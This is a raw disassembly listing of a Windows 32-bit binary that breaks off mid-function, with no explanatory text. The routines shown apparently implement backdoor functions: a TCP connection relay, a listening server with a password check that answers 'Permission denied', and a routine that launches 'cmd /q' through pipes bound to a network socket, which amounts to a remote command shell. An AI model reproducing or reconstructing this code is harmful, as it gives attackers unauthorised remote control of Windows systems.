var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CBA54	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_4110F2
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_4CB9D4	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4CBA14	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_410FCC
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4CBA58	; gethostbyname
		jmp	short loc_410FDA
; ---------------------------------------------------------------------------


loc_410FCC:				; CODE XREF: sub_410F3C+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB98C	; gethostbyaddr


loc_410FDA:				; CODE XREF: sub_410F3C+8Ej
		cmp	eax, edi
		jz	loc_4110F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_4CB97C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4110F2
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_435254
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_344]
		push	18h
		push	eax
		call	sub_40B3BA
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_43E91C[ebx]
		mov	dword_43E914[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E920[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_411123
		push	edi
		push	edi
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E924[ecx], eax
		jz	short loc_4110DF


loc_41108C:				; CODE XREF: sub_410F3C+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_41109B
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_41108C
; ---------------------------------------------------------------------------


loc_41109B:				; CODE XREF: sub_410F3C+153j
		mov	ebx, 1000h


loc_4110A0:				; CODE XREF: sub_410F3C+19Fj
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC	; recv
		cmp	eax, edi
		jle	short loc_4110F2
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4110A0
		jmp	short loc_4110F2
; ---------------------------------------------------------------------------


loc_4110DF:				; CODE XREF: sub_410F3C+14Ej
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435214
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_4110F2:				; CODE XREF: sub_410F3C+44j
					; sub_410F3C+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_43E91C[eax]
		call	dword_4CBA6C	; closesocket
		push	[ebp+arg_0]
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_410F3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411123	proc near		; DATA XREF: sub_410F3C+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41115A:				; CODE XREF: sub_411123+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_43E920[esi]
		call	dword_4CB9EC	; recv
		test	eax, eax
		jle	short loc_4111A1
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_43E91C[esi]
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41115A


loc_4111A1:				; CODE XREF: sub_411123+61j
		push	dword_43E920[esi]
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		push	0
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_411123	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4111C0	proc near		; DATA XREF: sub_41144E+1BEo

var_3D4		= byte ptr -3D4h
var_350		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_3D4]
		push	1
		mov	[ebp+var_C], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp+var_208]
		mov	[ebp+arg_0], eax
		imul	eax, 234h
		lea	esi, dword_43E91C[eax]
		xor	edi, edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_1F4], ebx
		mov	eax, [esi]
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1F4]
		push	edi
		push	eax
		push	edi
		call	dword_4CB9BC	; select
		test	eax, eax
		jnz	short loc_411244
		push	dword ptr [esi]
		call	dword_4CBA6C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread


loc_411244:				; CODE XREF: sub_4111C0+6Aj
		push	edi
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC	; recv
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp+var_F0]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		add	esp, 24h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB928	; getpeername
		test	eax, eax
		jz	short loc_4112BD
		call	dword_4CB968	; WSAGetLastError
		push	eax
		push	offset unk_43532C
		call	sub_415DAC
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 0Ch
		push	edi
		call	dword_4270D4	; ExitThread


loc_4112BD:				; CODE XREF: sub_4111C0+D8j
		push	2
		lea	eax, [ebp+var_18]
		push	4
		push	eax
		call	dword_4CB98C	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_4112E7
		push	[ebp+var_18]
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_41C266
		jmp	short loc_4112F5
; ---------------------------------------------------------------------------


loc_4112E7:				; CODE XREF: sub_4111C0+10Dj
		push	dword ptr [eax]
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_41C890


loc_4112F5:				; CODE XREF: sub_4111C0+125j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43DB88
		push	dword ptr [esi]
		call	dword_4CBA24	; send
		cmp	dword_4CE72C, edi
		jnz	short loc_411357
		push	[ebp+var_18]
		lea	eax, [ebp+var_350]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41141F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411357
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CBA24	; send
		push	dword ptr [esi]
		call	dword_4CBA6C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread


loc_411357:				; CODE XREF: sub_4111C0+14Cj
					; sub_4111C0+16Dj
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_4352F0
		call	sub_415DAC
		push	[ebp+arg_0]
		call	sub_4116D6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41139E
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4352C4
		call	sub_415DAC
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 0Ch
		push	ebx
		call	dword_4270D4	; ExitThread


loc_41139E:				; CODE XREF: sub_4111C0+1B9j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_435298
		call	sub_415DAC
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	dword_4270D4	; ExitThread
sub_4111C0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113C5	proc near		; CODE XREF: sub_4111C0+9Ap
					; sub_4111C0+A7p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC	; recv
		cmp	eax, 1
		jnz	short loc_411415
		mov	esi, [ebp+arg_4]


loc_4113E3:				; CODE XREF: sub_4113C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_41140A
		test	al, al
		jz	short loc_411419
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC	; recv
		cmp	eax, 1
		jz	short loc_4113E3
		jmp	short loc_411415
; ---------------------------------------------------------------------------


loc_41140A:				; CODE XREF: sub_4113C5+27j
		push	offset unk_435358
		call	sub_415DAC
		pop	ecx


loc_411415:				; CODE XREF: sub_4113C5+19j
					; sub_4113C5+43j
		xor	eax, eax
		jmp	short loc_41141C
; ---------------------------------------------------------------------------


loc_411419:				; CODE XREF: sub_4113C5+2Bj
		push	1
		pop	eax


loc_41141C:				; CODE XREF: sub_4113C5+52j
		pop	esi
		leave
		retn
sub_4113C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41141F	proc near		; CODE XREF: sub_4111C0+163p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41144A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset unk_435384
		call	sub_415DAC
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41144A:				; CODE XREF: sub_41141F+11j
		push	1
		pop	eax
		retn
sub_41141F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41144E	proc near		; DATA XREF: sub_401ACD+237Ao

var_5DC		= dword	ptr -5DCh
var_5A4		= byte ptr -5A4h
var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_214]
		push	1
		rep movsd
		pop	edi
		mov	[eax+1DCh], edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	202h
		call	dword_4CB944	; WSAStartup
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_4114A7
		push	eax
		push	offset unk_4354F4
		call	sub_415DAC
		push	[ebp+var_4C]
		call	sub_40B6D6
		add	esp, 0Ch
		push	edi
		call	dword_4270D4	; ExitThread


loc_4114A7:				; CODE XREF: sub_41144E+3Aj
		push	edi
		push	offset loc_4116CC
		call	dword_42712C	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_4114E0
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4354B0
		call	sub_415DAC
		pop	ecx
		pop	ecx
		call	dword_4CB92C	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread


loc_4114E0:				; CODE XREF: sub_41144E+67j
		push	ebx
		push	10h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_20], 2
		push	[ebp+var_50]
		call	dword_4CB9D4	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], esi
		call	dword_4CBA54	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_411657
		mov	eax, [ebp+var_4C]
		push	10h
		imul	eax, 234h
		mov	dword_43E91C[eax], ebx
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	dword_4CBA00	; bind
		test	eax, eax
		jnz	loc_411657
		push	7FFFFFFFh
		push	ebx
		call	dword_4CB9FC	; listen
		test	eax, eax
		jnz	loc_411657
		push	offset unk_435474
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	sub_415D38
		pop	ecx
		mov	[ebp+arg_0], edi


loc_41156F:				; CODE XREF: sub_41144E+15Aj
					; sub_41144E+1E4j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	dword_4CBA68	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_41165A
		push	[ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	eax
		push	8
		push	0FFFFh
		push	edi
		call	dword_4CB9B4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41156F
		movzx	eax, [ebp+var_32]
		push	[ebp+var_4C]
		mov	[ebp+var_38], esi
		push	eax
		push	[ebp+var_30]
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_435430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415D38
		push	edi
		lea	eax, [ebp+var_414]
		push	9
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_48], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_4C]
		add	esp, 24h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_4111C0
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_48]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43E924[ecx], eax
		jz	short loc_411642


loc_41162F:				; CODE XREF: sub_41144E+1F2j
		cmp	[ebp+var_38], esi
		jnz	loc_41156F
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_41162F
; ---------------------------------------------------------------------------


loc_411642:				; CODE XREF: sub_41144E+1DFj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4353F4
		call	sub_415DAC
		pop	ecx
		pop	ecx
		jmp	short loc_41165A
; ---------------------------------------------------------------------------


loc_411657:				; CODE XREF: sub_41144E+C8j
					; sub_41144E+ECj ...
		mov	edi, [ebp+arg_0]


loc_41165A:				; CODE XREF: sub_41144E+13Cj
					; sub_41144E+207j
		call	dword_4CB968	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_4353BC
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_3C], esi
		jnz	short loc_41169A
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_40]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_214]
		call	sub_409869
		add	esp, 14h


loc_41169A:				; CODE XREF: sub_41144E+22Aj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C	; closesocket
		push	ebx
		call	dword_4CBA6C	; closesocket
		call	dword_4CB92C	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	ebx


loc_4116CC:				; DATA XREF: sub_41144E+5Ao
		xor	eax, eax
		cmp	[esp+5E0h+var_5DC], eax
		setz	al
		retn
sub_41144E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116D6	proc near		; CODE XREF: sub_4111C0+1AFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_411827
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E91C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_427084
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4119F9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_411741
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435554
		call	sub_415DAC
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41177B
; ---------------------------------------------------------------------------


loc_411741:				; CODE XREF: sub_4116D6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411AAB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411782
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435554
		call	sub_415DAC
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	dword_4270B4	; TerminateThread


loc_41177B:				; CODE XREF: sub_4116D6+69j
		xor	eax, eax
		jmp	loc_411822
; ---------------------------------------------------------------------------


loc_411782:				; CODE XREF: sub_4116D6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	dword_427130	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_4117DC
		dec	eax
		jz	short loc_4117D6
		dec	eax
		jz	short loc_4117C2
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435520
		call	sub_415DAC
		pop	ecx
		pop	ecx
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117C2:				; CODE XREF: sub_4116D6+D5j
		mov	edi, dword_4270B4
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117D6:				; CODE XREF: sub_4116D6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4117E0
; ---------------------------------------------------------------------------


loc_4117DC:				; CODE XREF: sub_4116D6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4117E0:				; CODE XREF: sub_4116D6+104j
		call	dword_4270B4	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	dword_4270FC	; TerminateProcess


loc_4117F1:				; CODE XREF: sub_4116D6+EAj
					; sub_4116D6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427070
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_4CBA6C	; closesocket
		push	esi
		call	sub_41BA91
		pop	ecx
		push	1
		pop	eax


loc_411822:				; CODE XREF: sub_4116D6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4116D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411827	proc near		; CODE XREF: sub_4116D6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_411911
		mov	ebx, dword_427108
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, dword_427070
		test	eax, eax
		jnz	short loc_41188A
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435604
		jmp	short loc_4118AA
; ---------------------------------------------------------------------------


loc_41188A:				; CODE XREF: sub_411827+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_4118B2
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4355C4


loc_4118AA:				; CODE XREF: sub_411827+61j
		call	sub_415DAC
		pop	ecx
		jmp	short loc_4118E0
; ---------------------------------------------------------------------------


loc_4118B2:				; CODE XREF: sub_411827+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_411920
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411915
		push	offset unk_43559C
		call	sub_415D38


loc_4118E0:				; CODE XREF: sub_411827+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4118EC
		push	[ebp+var_4]
		call	edi	; CloseHandle


loc_4118EC:				; CODE XREF: sub_411827+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4118F7
		push	[ebp+var_8]
		call	edi	; CloseHandle


loc_4118F7:				; CODE XREF: sub_411827+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411900
		push	eax
		call	edi	; CloseHandle


loc_411900:				; CODE XREF: sub_411827+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41190A
		push	eax
		call	edi	; CloseHandle


loc_41190A:				; CODE XREF: sub_411827+DEj
		push	esi
		call	sub_41BA91
		pop	ecx


loc_411911:				; CODE XREF: sub_411827+1Dj
		xor	eax, eax
		jmp	short loc_41191B
; ---------------------------------------------------------------------------


loc_411915:				; CODE XREF: sub_411827+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41191B:				; CODE XREF: sub_411827+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411827	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411920	proc near		; CODE XREF: sub_411827+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BF70
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_427104
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_427100	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	dword_427074	; CreateProcessA
		test	eax, eax
		jz	short loc_4119DC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E918[eax], ecx
		call	dword_427070	; CloseHandle
		jmp	short loc_4119F2
; ---------------------------------------------------------------------------


loc_4119DC:				; CODE XREF: sub_411920+9Aj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435644
		call	sub_415DAC
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4119F2:				; CODE XREF: sub_411920+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119F9	proc near		; DATA XREF: sub_4116D6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270EC
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
